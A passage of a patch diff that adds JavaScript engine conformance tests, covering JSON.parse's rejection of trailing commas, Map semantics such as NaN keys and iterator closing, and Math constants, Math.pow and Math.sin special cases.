+//-----------------------------------------------------------------------------
+var BUGNUMBER = 564621;
+var summary = 'JSON.parse should reject {"a" : "b",} or [1,]';
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+testJSON('[]', false);
+testJSON('[1]', false);
+testJSON('["a"]', false);
+testJSON('{}', false);
+testJSON('{"a":1}', false);
+testJSON('{"a":"b"}', false);
+testJSON('{"a":true}', false);
+testJSON('[{}]', false);
+
+testJSON('[1,]', true);
+testJSON('["a",]', true);
+testJSON('{,}', true);
+testJSON('{"a":1,}', true);
+testJSON('{"a":"b",}', true);
+testJSON('{"a":true,}', true);
+testJSON('[{,}]', true);
+testJSON('[[1,]]', true);
+testJSON('[{"a":"b",}]', true);
diff --git a/js/src/tests/non262/Map/NaN-as-key.js b/js/src/tests/non262/Map/NaN-as-key.js
new file mode 100644
index 0000000000..6fa5ee67e9
--- /dev/null
+++ b/js/src/tests/non262/Map/NaN-as-key.js
@@ -0,0 +1,55 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 722260;
+var summary = 'All NaNs must be treated as identical keys for Map';
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+/* Avoid constant-folding that would happen were |undefined| to be used. */
+var key = -/a/g.missingProperty;
+
+var m = new Map();
+m.set(key, 17);
+assertEq(m.get(key), 17);
+assertEq(m.get(-key), 17);
+assertEq(m.get(NaN), 17);
+
+m.delete(-key);
+assertEq(m.has(key), false);
+assertEq(m.has(-key), false);
+assertEq(m.has(NaN), false);
+
+m.set(-key, 17);
+assertEq(m.get(key), 17);
+assertEq(m.get(-key), 17);
+assertEq(m.get(NaN), 17);
+
+m.delete(NaN);
+assertEq(m.has(key), false);
+assertEq(m.has(-key), false);
+assertEq(m.has(NaN), false);
+
+m.set(NaN, 17);
+assertEq(m.get(key), 17);
+assertEq(m.get(-key), 17);
+assertEq(m.get(NaN), 17);
+
+m.delete(key);
+assertEq(m.has(key), false);
+assertEq(m.has(-key), false);
+assertEq(m.has(NaN), false);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/Map/browser.js b/js/src/tests/non262/Map/browser.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/Map/browser.js
diff --git a/js/src/tests/non262/Map/constructor-iterator-close.js b/js/src/tests/non262/Map/constructor-iterator-close.js
new file mode 100644
index 0000000000..084e6cb257
--- /dev/null
+++ b/js/src/tests/non262/Map/constructor-iterator-close.js
@@ -0,0 +1,293 @@
+var BUGNUMBER = 1180306;
+var summary = 'Map/Set/WeakMap/WeakSet constructor should close iterator on error';
+
+print(BUGNUMBER + ": " + summary);
+
+function test(ctors, { nextVal=undefined,
+ nextThrowVal=undefined,
+ modifier=undefined,
+ exceptionVal=undefined,
+ exceptionType=undefined,
+ closed=true }) {
+ function getIterable() {
+ let iterable = {
+ closed: false,
+ [Symbol.iterator]() {
+ let iterator = {
+ first: true,
+ next() {
+ if (this.first) {
+ this.first = false;
+ if (nextThrowVal)
+ throw nextThrowVal;
+ return nextVal;
+ }
+ return { value: undefined, done: true };
+ },
+ return() {
+ iterable.closed = true;
+ return {};
+ }
+ };
+ if (modifier)
+ modifier(iterator, iterable);
+
+ return iterator;
+ }
+ };
+ return iterable;
+ }
+
+ for (let ctor of ctors) {
+ let iterable = getIterable();
+ if (exceptionVal) {
+ let caught = false;
+ try {
+ new ctor(iterable);
+ } catch (e) {
+ assertEq(e, exceptionVal);
+ caught = true;
+ }
+ assertEq(caught, true);
+ } else if (exceptionType) {
+ assertThrowsInstanceOf(() => new ctor(iterable), exceptionType);
+ } else {
+ new ctor(iterable);
+ }
+ assertEq(iterable.closed, closed);
+ }
+}
+
+// == Error cases with close ==
+
+// ES 2017 draft 23.1.1.1 Map step 8.d.ii.
+// ES 2017 draft 23.3.1.1 WeakMap step 8.d.ii.
+test([Map, WeakMap], {
+ nextVal: { value: "non object", done: false },
+ exceptionType: TypeError,
+ closed: true,
+});
+
+// ES 2017 draft 23.1.1.1 Map step 8.f.
+// ES 2017 draft 23.3.1.1 WeakMap step 8.f.
+test([Map, WeakMap], {
+ nextVal: { value: { get 0() { throw "0 getter throws"; } }, done: false },
+ exceptionVal: "0 getter throws",
+ closed: true,
+});
+
+// ES 2017 draft 23.1.1.1 Map step 8.h.
+// ES 2017 draft 23.3.1.1 WeakMap step 8.h.
+test([Map, WeakMap], {
+ nextVal: { value: { 0: {}, get 1() { throw "1 getter throws"; } }, done: false },
+ exceptionVal: "1 getter throws",
+ closed: true,
+});
+
+// ES 2017 draft 23.1.1.1 Map step 8.j.
+// ES 2017 draft 23.3.1.1 WeakMap step 8.j.
+class MyMap extends Map {
+ set(k, v) {
+ throw "setter throws";
+ }
+}
+class MyWeakMap extends WeakMap {
+ set(k, v) {
+ throw "setter throws";
+ }
+}
+test([MyMap, MyWeakMap], {
+ nextVal: { value: [{}, {}], done: false },
+ exceptionVal: "setter throws",
+ closed: true,
+});
+
+// ES 2017 draft 23.2.1.1 Set step 8.e.
+// ES 2017 draft 23.4.1.1 WeakSet step 8.e.
+class MySet extends Set {
+ add(v) {
+ throw "adder throws";
+ }
+}
+class MyWeakSet extends WeakSet {
+ add(v) {
+ throw "adder throws";
+ }
+}
+test([MySet, MyWeakSet], {
+ nextVal: { value: {}, done: false },
+ exceptionVal: "adder throws",
+ closed: true,
+});
+
+// ES 2021 draft 7.4.6 step 5.
+// if GetMethod fails, the thrown value should be ignored.
+test([MyMap, MyWeakMap], {
+ nextVal: { value: [{}, {}], done: false },
+ modifier: (iterator, iterable) => {
+ Object.defineProperty(iterator, "return", {
+ get: function() {
+ iterable.closed = true;
+ throw "return getter throws";
+ }
+ });
+ },
+ exceptionVal: "setter throws",
+ closed: true,
+});
+test([MySet, MyWeakSet], {
+ nextVal: { value: [{}, {}], done: false },
+ modifier: (iterator, iterable) => {
+ Object.defineProperty(iterator, "return", {
+ get: function() {
+ iterable.closed = true;
+ throw "return getter throws";
+ }
+ });
+ },
+ exceptionVal: "adder throws",
+ closed: true,
+});
+test([MyMap, MyWeakMap], {
+ nextVal: { value: [{}, {}], done: false },
+ modifier: (iterator, iterable) => {
+ Object.defineProperty(iterator, "return", {
+ get: function() {
+ iterable.closed = true;
+ return "non object";
+ }
+ });
+ },
+ exceptionVal: "setter throws",
+ closed: true,
+});
+test([MySet, MyWeakSet], {
+ nextVal: { value: [{}, {}], done: false },
+ modifier: (iterator, iterable) => {
+ Object.defineProperty(iterator, "return", {
+ get: function() {
+ iterable.closed = true;
+ return "non object";
+ }
+ });
+ },
+ exceptionVal: "adder throws",
+ closed: true,
+});
+test([MyMap, MyWeakMap], {
+ nextVal: { value: [{}, {}], done: false },
+ modifier: (iterator, iterable) => {
+ Object.defineProperty(iterator, "return", {
+ get: function() {
+ iterable.closed = true;
+ // Non callable.
+ return {};
+ }
+ });
+ },
+ exceptionVal: "setter throws",
+ closed: true,
+});
+test([MySet, MyWeakSet], {
+ nextVal: { value: [{}, {}], done: false },
+ modifier: (iterator, iterable) => {
+ Object.defineProperty(iterator, "return", {
+ get: function() {
+ iterable.closed = true;
+ // Non callable.
+ return {};
+ }
+ });
+ },
+ exceptionVal: "adder throws",
+ closed: true,
+});
+
+// ES 2017 draft 7.4.6 steps 6.
+// if return method throws, the thrown value should be ignored.
+test([MyMap, MyWeakMap], {
+ nextVal: { value: [{}, {}], done: false },
+ modifier: (iterator, iterable) => {
+ iterator.return = function() {
+ iterable.closed = true;
+ throw "return throws";
+ };
+ },
+ exceptionVal: "setter throws",
+ closed: true,
+});
+test([MySet, MyWeakSet], {
+ nextVal: { value: [{}, {}], done: false },
+ modifier: (iterator, iterable) => {
+ iterator.return = function() {
+ iterable.closed = true;
+ throw "return throws";
+ };
+ },
+ exceptionVal: "adder throws",
+ closed: true,
+});
+
+test([MyMap, MyWeakMap], {
+ nextVal: { value: [{}, {}], done: false },
+ modifier: (iterator, iterable) => {
+ iterator.return = function() {
+ iterable.closed = true;
+ return "non object";
+ };
+ },
+ exceptionVal: "setter throws",
+ closed: true,
+});
+test([MySet, MyWeakSet], {
+ nextVal: { value: [{}, {}], done: false },
+ modifier: (iterator, iterable) => {
+ iterator.return = function() {
+ iterable.closed = true;
+ return "non object";
+ };
+ },
+ exceptionVal: "adder throws",
+ closed: true,
+});
+
+// == Error cases without close ==
+
+// ES 2017 draft 23.1.1.1 Map step 8.a.
+// ES 2017 draft 23.3.1.1 WeakMap step 8.a.
+// ES 2017 draft 23.2.1.1 Set step 8.a.
+// ES 2017 draft 23.4.1.1 WeakSet step 8.a.
+test([Map, WeakMap, Set, WeakSet], {
+ nextThrowVal: "next throws",
+ exceptionVal: "next throws",
+ closed: false,
+});
+test([Map, WeakMap, Set, WeakSet], {
+ nextVal: { value: {}, get done() { throw "done getter throws"; } },
+ exceptionVal: "done getter throws",
+ closed: false,
+});
+
+// ES 2017 draft 23.1.1.1 Map step 8.c.
+// ES 2017 draft 23.3.1.1 WeakMap step 8.c.
+// ES 2017 draft 23.2.1.1 Set step 8.c.
+// ES 2017 draft 23.4.1.1 WeakSet step 8.c.
+test([Map, WeakMap, Set, WeakSet], {
+ nextVal: { get value() { throw "value getter throws"; }, done: false },
+ exceptionVal: "value getter throws",
+ closed: false,
+});
+
+// == Successful cases ==
+
+test([Map, WeakMap], {
+ nextVal: { value: [{}, {}], done: false },
+ closed: false,
+});
+test([Set, WeakSet], {
+ nextVal: { value: {}, done: false },
+ closed: false,
+});
+
+if (typeof reportCompare === 'function')
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Map/constructor-iterator-primitive.js b/js/src/tests/non262/Map/constructor-iterator-primitive.js
new file mode 100644
index 0000000000..e1fff5c3c9
--- /dev/null
+++ b/js/src/tests/non262/Map/constructor-iterator-primitive.js
@@ -0,0 +1,34 @@
+var BUGNUMBER = 1021835;
+var summary = "Returning non-object from @@iterator should throw";
+
+print(BUGNUMBER + ": " + summary);
+
+let ctors = [
+ Map,
+ Set,
+ WeakMap,
+ WeakSet
+];
+
+let primitives = [
+ 1,
+ true,
+ undefined,
+ null,
+ "foo",
+ Symbol.iterator
+];
+
+for (let ctor of ctors) {
+ for (let primitive of primitives) {
+ let arg = {
+ [Symbol.iterator]() {
+ return primitive;
+ }
+ };
+ assertThrowsInstanceOf(() => new ctor(arg), TypeError);
+ }
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Map/forEach-selfhosted-behavior.js b/js/src/tests/non262/Map/forEach-selfhosted-behavior.js
new file mode 100644
index 0000000000..ed4d8b57f8
--- /dev/null
+++ b/js/src/tests/non262/Map/forEach-selfhosted-behavior.js
@@ -0,0 +1,51 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 987243;
+var summary = "Don't use .call(...) in the self-hosted Map.prototype.forEach";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var functionCall = Function.prototype.call;
+
+function throwSyntaxError()
+{
+ throw new SyntaxError("Function.prototype.call incorrectly called");
+}
+
+function lalala() {}
+
+Function.prototype.call = throwSyntaxError;
+
+new Map().forEach(throwSyntaxError);
+new Map([[1, 2]]).forEach(lalala);
+new Map([[1, 2], [3, 4]]).forEach(lalala);
+
+Function.prototype.call = function() { this.set(42, "fnord"); };
+
+new Map().forEach(throwSyntaxError);
+new Map([[1, 2]]).forEach(lalala);
+new Map([[1, 2], [3, 4]]).forEach(lalala);
+
+var callCount = 0;
+Function.prototype.call = function() { callCount++; };
+
+new Map().forEach(throwSyntaxError);
+new Map([[1, 2]]).forEach(lalala);
+new Map([[1, 2], [3, 4]]).forEach(lalala);
+
+assertEq(callCount, 0);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/Map/getter-name.js b/js/src/tests/non262/Map/getter-name.js
new file mode 100644
index 0000000000..08f7890c75
--- /dev/null
+++ b/js/src/tests/non262/Map/getter-name.js
@@ -0,0 +1,10 @@
+var BUGNUMBER = 1180290;
+var summary = 'Map getters should have get prefix';
+
+print(BUGNUMBER + ": " + summary);
+
+assertEq(Object.getOwnPropertyDescriptor(Map, Symbol.species).get.name, "get [Symbol.species]");
+assertEq(Object.getOwnPropertyDescriptor(Map.prototype, "size").get.name, "get size");
+
+if (typeof reportCompare === 'function')
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Map/iterable.js b/js/src/tests/non262/Map/iterable.js
new file mode 100644
index 0000000000..cf6b7228ab
--- /dev/null
+++ b/js/src/tests/non262/Map/iterable.js
@@ -0,0 +1,28 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+let length;
+let iterable = {
+ [Symbol.iterator]() { return this; },
+ next() { length = arguments.length; return {done: true}; }
+};
+
+new Map(iterable);
+// ensure no arguments are passed to next() during construction (Bug 1197095)
+assertEq(length, 0);
+
+let typeofThis;
+Object.defineProperty(Number.prototype, Symbol.iterator, {
+ value() {
+ "use strict";
+ typeofThis = typeof this;
+ return { next() { return {done: true}; } };
+ }
+});
+
+new Map(0);
+// ensure that iterable objects retain their type (Bug 1197094)
+assertEq(typeofThis, "number");
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Map/iterator-thisv-error.js b/js/src/tests/non262/Map/iterator-thisv-error.js
new file mode 100644
index 0000000000..cc85c90f25
--- /dev/null
+++ b/js/src/tests/non262/Map/iterator-thisv-error.js
@@ -0,0 +1,24 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+function test(fn, thisv) {
+ var message;
+ try {
+ fn.call(thisv);
+ } catch (e) {
+ message = e.message;
+ }
+
+ assertEq(/^\w+ method called on incompatible.+/.test(message), true);
+ assertEq(message.includes("std_"), false);
+}
+
+for (var thisv of [null, undefined, false, true, 0, ""]) {
+ test(Map.prototype.values, thisv);
+ test(Map.prototype.keys, thisv);
+ test(Map.prototype.entries, thisv);
+ test(Map.prototype[Symbol.iterator], thisv);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Map/shell.js b/js/src/tests/non262/Map/shell.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/Map/shell.js
diff --git a/js/src/tests/non262/Map/symbols.js b/js/src/tests/non262/Map/symbols.js
new file mode 100644
index 0000000000..30589a9732
--- /dev/null
+++ b/js/src/tests/non262/Map/symbols.js
@@ -0,0 +1,33 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+var m = new Map;
+
+// Symbols can be Map keys.
+var sym = Symbol();
+m.set(sym, "zero");
+assertEq(m.has(sym), true);
+assertEq(m.get(sym), "zero");
+assertEq(m.has(Symbol()), false);
+assertEq(m.get(Symbol()), undefined);
+assertEq([...m][0][0], sym);
+m.set(sym, "replaced");
+assertEq(m.get(sym), "replaced");
+m.delete(sym);
+assertEq(m.has(sym), false);
+assertEq(m.size, 0);
+
+// Symbols returned by Symbol.for() can be Map keys.
+for (var word of "that that is is that that is not is not is that not it".split(' ')) {
+ sym = Symbol.for(word);
+ m.set(sym, (m.get(sym) || 0) + 1);
+}
+assertDeepEq([...m], [
+ [Symbol.for("that"), 5],
+ [Symbol.for("is"), 5],
+ [Symbol.for("not"), 3],
+ [Symbol.for("it"), 1]
+]);
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Math/15.8.1.js b/js/src/tests/non262/Math/15.8.1.js
new file mode 100644
index 0000000000..269b602e5d
--- /dev/null
+++ b/js/src/tests/non262/Math/15.8.1.js
@@ -0,0 +1,97 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.8.1.js
+ ECMA Section: 15.8.1.js Value Properties of the Math Object
+ 15.8.1.1 E
+ 15.8.1.2 LN10
+ 15.8.1.3 LN2
+ 15.8.1.4 LOG2E
+ 15.8.1.5 LOG10E
+ 15.8.1.6 PI
+ 15.8.1.7 SQRT1_2
+ 15.8.1.8 SQRT2
+ Description: verify the values of some math constants
+ Author: christine@netscape.com
+ Date: 7 july 1997
+
+*/
+var SECTION = "15.8.1"
+ var TITLE = "Value Properties of the Math Object";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+
+new TestCase( "Math.E",
+ 2.7182818284590452354,
+ Math.E );
+
+new TestCase( "typeof Math.E",
+ "number",
+ typeof Math.E );
+
+new TestCase( "Math.LN10",
+ 2.302585092994046,
+ Math.LN10 );
+
+new TestCase( "typeof Math.LN10",
+ "number",
+ typeof Math.LN10 );
+
+new TestCase( "Math.LN2",
+ 0.6931471805599453,
+ Math.LN2 );
+
+new TestCase( "typeof Math.LN2",
+ "number",
+ typeof Math.LN2 );
+
+new TestCase( "Math.LOG2E",
+ 1.4426950408889634,
+ Math.LOG2E );
+
+new TestCase( "typeof Math.LOG2E",
+ "number",
+ typeof Math.LOG2E );
+
+new TestCase( "Math.LOG10E",
+ 0.4342944819032518,
+ Math.LOG10E);
+
+new TestCase( "typeof Math.LOG10E",
+ "number",
+ typeof Math.LOG10E);
+
+new TestCase( "Math.PI",
+ 3.14159265358979323846,
+ Math.PI );
+
+new TestCase( "typeof Math.PI",
+ "number",
+ typeof Math.PI );
+
+new TestCase( "Math.SQRT1_2",
+ 0.7071067811865476,
+ Math.SQRT1_2);
+
+new TestCase( "typeof Math.SQRT1_2",
+ "number",
+ typeof Math.SQRT1_2);
+
+new TestCase( "Math.SQRT2",
+ 1.4142135623730951,
+ Math.SQRT2 );
+
+new TestCase( "typeof Math.SQRT2",
+ "number",
+ typeof Math.SQRT2 );
+
+new TestCase( "var MATHPROPS='';for( p in Math ){ MATHPROPS +=p; };MATHPROPS",
+ "",
+ eval("var MATHPROPS='';for( p in Math ){ MATHPROPS +=p; };MATHPROPS") );
+
+test();
diff --git a/js/src/tests/non262/Math/15.8.2.13.js b/js/src/tests/non262/Math/15.8.2.13.js
new file mode 100644
index 0000000000..10eeca88ab
--- /dev/null
+++ b/js/src/tests/non262/Math/15.8.2.13.js
@@ -0,0 +1,350 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.8.2.13.js
+ ECMA Section: 15.8.2.13 Math.pow(x, y)
+ Description: return an approximation to the result of x
+ to the power of y. there are many special cases;
+ refer to the spec.
+ Author: christine@netscape.com
+ Date: 9 july 1997
+*/
+
+var SECTION = "15.8.2.13";
+var TITLE = "Math.pow(x, y)";
+var BUGNUMBER="77141";
+
+printBugNumber(BUGNUMBER);
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+new TestCase(
+ "Math.pow.length",
+ 2,
+ Math.pow.length );
+
+new TestCase(
+ "Math.pow()",
+ Number.NaN,
+ Math.pow() );
+
+new TestCase(
+ "Math.pow(null, null)",
+ 1,
+ Math.pow(null,null) );
+
+new TestCase(
+ "Math.pow(void 0, void 0)",
+ Number.NaN,
+ Math.pow(void 0, void 0));
+
+new TestCase(
+ "Math.pow(true, false)",
+ 1,
+ Math.pow(true, false) );
+
+new TestCase(
+ "Math.pow(false,true)",
+ 0,
+ Math.pow(false,true) );
+
+new TestCase(
+ "Math.pow('2','32')",
+ 4294967296,
+ Math.pow('2','32') );
+
+new TestCase(
+ "Math.pow(1,NaN)",
+ Number.NaN,
+ Math.pow(1,Number.NaN) );
+
+new TestCase(
+ "Math.pow(0,NaN)",
+ Number.NaN,
+ Math.pow(0,Number.NaN) );
+
+new TestCase(
+ "Math.pow(NaN,0)",
+ 1,
+ Math.pow(Number.NaN,0) );
+
+new TestCase(
+ "Math.pow(NaN,-0)",
+ 1,
+ Math.pow(Number.NaN,-0) );
+
+new TestCase(
+ "Math.pow(NaN,1)",
+ Number.NaN,
+ Math.pow(Number.NaN, 1) );
+
+new TestCase(
+ "Math.pow(NaN,.5)",
+ Number.NaN,
+ Math.pow(Number.NaN, .5) );
+
+new TestCase(
+ "Math.pow(1.00000001, Infinity)",
+ Number.POSITIVE_INFINITY,
+ Math.pow(1.00000001, Number.POSITIVE_INFINITY) );
+
+new TestCase(
+ "Math.pow(1.00000001, -Infinity)",
+ 0,
+ Math.pow(1.00000001, Number.NEGATIVE_INFINITY) );
+
+new TestCase(
+ "Math.pow(-1.00000001, Infinity)",
+ Number.POSITIVE_INFINITY,
+ Math.pow(-1.00000001,Number.POSITIVE_INFINITY) );
+
+new TestCase(
+ "Math.pow(-1.00000001, -Infinity)",
+ 0,
+ Math.pow(-1.00000001,Number.NEGATIVE_INFINITY) );
+
+new TestCase(
+ "Math.pow(1, Infinity)",
+ Number.NaN,
+ Math.pow(1, Number.POSITIVE_INFINITY) );
+
+new TestCase(
+ "Math.pow(1, -Infinity)",
+ Number.NaN,
+ Math.pow(1, Number.NEGATIVE_INFINITY) );
+
+new TestCase(
+ "Math.pow(-1, Infinity)",
+ Number.NaN,
+ Math.pow(-1, Number.POSITIVE_INFINITY) );
+
+new TestCase(
+ "Math.pow(-1, -Infinity)",
+ Number.NaN,
+ Math.pow(-1, Number.NEGATIVE_INFINITY) );
+
+new TestCase(
+ "Math.pow(.0000000009, Infinity)",
+ 0,
+ Math.pow(.0000000009, Number.POSITIVE_INFINITY) );
+
+new TestCase(
+ "Math.pow(-.0000000009, Infinity)",
+ 0,
+ Math.pow(-.0000000009, Number.POSITIVE_INFINITY) );
+
+new TestCase(
+ "Math.pow(.0000000009, -Infinity)",
+ Number.POSITIVE_INFINITY,
+ Math.pow(-.0000000009, Number.NEGATIVE_INFINITY) );
+
+new TestCase(
+ "Math.pow(Infinity, .00000000001)",
+ Number.POSITIVE_INFINITY,
+ Math.pow(Number.POSITIVE_INFINITY,.00000000001) );
+
+new TestCase(
+ "Math.pow(Infinity, 1)",
+ Number.POSITIVE_INFINITY,
+ Math.pow(Number.POSITIVE_INFINITY, 1) );
+
+new TestCase(
+ "Math.pow(Infinity, -.00000000001)",
+ 0,
+ Math.pow(Number.POSITIVE_INFINITY, -.00000000001) );
+
+new TestCase(
+ "Math.pow(Infinity, -1)",
+ 0,
+ Math.pow(Number.POSITIVE_INFINITY, -1) );
+
+new TestCase(
+ "Math.pow(-Infinity, 1)",
+ Number.NEGATIVE_INFINITY,
+ Math.pow(Number.NEGATIVE_INFINITY, 1) );
+
+new TestCase(
+ "Math.pow(-Infinity, 333)",
+ Number.NEGATIVE_INFINITY,
+ Math.pow(Number.NEGATIVE_INFINITY, 333) );
+
+new TestCase(
+ "Math.pow(Infinity, 2)",
+ Number.POSITIVE_INFINITY,
+ Math.pow(Number.POSITIVE_INFINITY, 2) );
+
+new TestCase(
+ "Math.pow(-Infinity, 666)",
+ Number.POSITIVE_INFINITY,
+ Math.pow(Number.NEGATIVE_INFINITY, 666) );
+
+new TestCase(
+ "Math.pow(-Infinity, 0.5)",
+ Number.POSITIVE_INFINITY,
+ Math.pow(Number.NEGATIVE_INFINITY, 0.5) );
+
+new TestCase(
+ "Math.pow(-Infinity, Infinity)",
+ Number.POSITIVE_INFINITY,
+ Math.pow(Number.NEGATIVE_INFINITY, Number.POSITIVE_INFINITY) );
+
+new TestCase(
+ "Math.pow(-Infinity, -1)",
+ -0,
+ Math.pow(Number.NEGATIVE_INFINITY, -1) );
+
+new TestCase(
+ "Infinity/Math.pow(-Infinity, -1)",
+ -Infinity,
+ Infinity/Math.pow(Number.NEGATIVE_INFINITY, -1) );
+
+new TestCase(
+ "Math.pow(-Infinity, -3)",
+ -0,
+ Math.pow(Number.NEGATIVE_INFINITY, -3) );
+
+new TestCase(
+ "Math.pow(-Infinity, -2)",
+ 0,
+ Math.pow(Number.NEGATIVE_INFINITY, -2) );
+
+new TestCase(
+ "Math.pow(-Infinity, -0.5)",
+ 0,
+ Math.pow(Number.NEGATIVE_INFINITY,-0.5) );
+
+new TestCase(
+ "Math.pow(-Infinity, -Infinity)",
+ 0,
+ Math.pow(Number.NEGATIVE_INFINITY, Number.NEGATIVE_INFINITY) );
+
+new TestCase(
+ "Math.pow(0, 1)",
+ 0,
+ Math.pow(0,1) );
+
+new TestCase(
+ "Math.pow(0, 0)",
+ 1,
+ Math.pow(0,0) );
+
+new TestCase(
+ "Math.pow(1, 0)",
+ 1,
+ Math.pow(1,0) );
+
+new TestCase(
+ "Math.pow(-1, 0)",
+ 1,
+ Math.pow(-1,0) );
+
+new TestCase(
+ "Math.pow(0, 0.5)",
+ 0,
+ Math.pow(0,0.5) );
+
+new TestCase(
+ "Math.pow(0, 1000)",
+ 0,
+ Math.pow(0,1000) );
+
+new TestCase(
+ "Math.pow(0, Infinity)",
+ 0,
+ Math.pow(0, Number.POSITIVE_INFINITY) );
+
+new TestCase(
+ "Math.pow(0, -1)",
+ Number.POSITIVE_INFINITY,
+ Math.pow(0, -1) );
+
+new TestCase(
+ "Math.pow(0, -0.5)",
+ Number.POSITIVE_INFINITY,
+ Math.pow(0, -0.5) );
+
+new TestCase(
+ "Math.pow(0, -1000)",
+ Number.POSITIVE_INFINITY,
+ Math.pow(0, -1000) );
+
+new TestCase(
+ "Math.pow(0, -Infinity)",
+ Number.POSITIVE_INFINITY,
+ Math.pow(0, Number.NEGATIVE_INFINITY) );
+
+new TestCase(
+ "Math.pow(-0, 1)",
+ -0,
+ Math.pow(-0, 1) );
+
+new TestCase(
+ "Math.pow(-0, 3)",
+ -0,
+ Math.pow(-0,3) );
+
+new TestCase(
+ "Infinity/Math.pow(-0, 1)",
+ -Infinity,
+ Infinity/Math.pow(-0, 1) );
+
+new TestCase(
+ "Infinity/Math.pow(-0, 3)",
+ -Infinity,
+ Infinity/Math.pow(-0,3) );
+
+new TestCase(
+ "Math.pow(-0, 2)",
+ 0,
+ Math.pow(-0,2) );
+
+new TestCase(
+ "Math.pow(-0, Infinity)",
+ 0,
+ Math.pow(-0, Number.POSITIVE_INFINITY) );
+
+new TestCase(
+ "Math.pow(-0, -1)",
+ Number.NEGATIVE_INFINITY,
+ Math.pow(-0, -1) );
+
+new TestCase(
+ "Math.pow(-0, -10001)",
+ Number.NEGATIVE_INFINITY,
+ Math.pow(-0, -10001) );
+
+new TestCase(
+ "Math.pow(-0, -2)",
+ Number.POSITIVE_INFINITY,
+ Math.pow(-0, -2) );
+
+new TestCase(
+ "Math.pow(-0, 0.5)",
+ 0,
+ Math.pow(-0, 0.5) );
+
+new TestCase(
+ "Math.pow(-0, Infinity)",
+ 0,
+ Math.pow(-0, Number.POSITIVE_INFINITY) );
+
+new TestCase(
+ "Math.pow(-1, 0.5)",
+ Number.NaN,
+ Math.pow(-1, 0.5) );
+
+new TestCase(
+ "Math.pow(-1, NaN)",
+ Number.NaN,
+ Math.pow(-1, Number.NaN) );
+
+new TestCase(
+ "Math.pow(-1, -0.5)",
+ Number.NaN,
+ Math.pow(-1, -0.5) );
+
+test();
diff --git a/js/src/tests/non262/Math/15.8.2.16.js b/js/src/tests/non262/Math/15.8.2.16.js
new file mode 100644
index 0000000000..1ad66d4e30
--- /dev/null
+++ b/js/src/tests/non262/Math/15.8.2.16.js
@@ -0,0 +1,96 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.8.2.16.js
+ ECMA Section: 15.8.2.16 sin( x )
+ Description: return an approximation to the sine of the
+ argument. argument is expressed in radians
+ Author: christine@netscape.com
+ Date: 7 july 1997
+
+*/
+var SECTION = "15.8.2.16";
+var TITLE = "Math.sin(x)";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+new TestCase(
+ "Math.sin.length",
+ 1,
+ Math.sin.length );
+
+new TestCase(
+ "Math.sin()",
+ Number.NaN,
+ Math.sin() );
+
+new TestCase(
+ "Math.sin(null)",
+ 0,
+ Math.sin(null) );
+
+new TestCase(
+ "Math.sin(void 0)",
+ Number.NaN,
+ Math.sin(void 0) );
+
+new TestCase(
+ "Math.sin(false)",
+ 0,
+ Math.sin(false) );
+
+new TestCase(
+ "Math.sin('2.356194490192')",
+ 0.7071067811865,
+ Math.sin('2.356194490192') );
+
+new TestCase(
+ "Math.sin(NaN)",
+ Number.NaN,
+ Math.sin(Number.NaN) );
+
+new TestCase(
+ "Math.sin(0)",
+ 0,
+ Math.sin(0) );
+
+new TestCase(
+ "Math.sin(-0)",
+ -0,
+ Math.sin(-0));
+
+new TestCase(
+ "Math.sin(Infinity)",
+ Number.NaN,
+ Math.sin(Number.POSITIVE_INFINITY));
+
+new TestCase(
+ "Math.sin(-Infinity)",
+ Number.NaN,
+ Math.sin(Number.NEGATIVE_INFINITY));
+
+new TestCase(
+ "Math.sin(0.7853981633974)",
+ 0.7071067811865,
+ Math.sin(0.7853981633974));
+
+new TestCase(
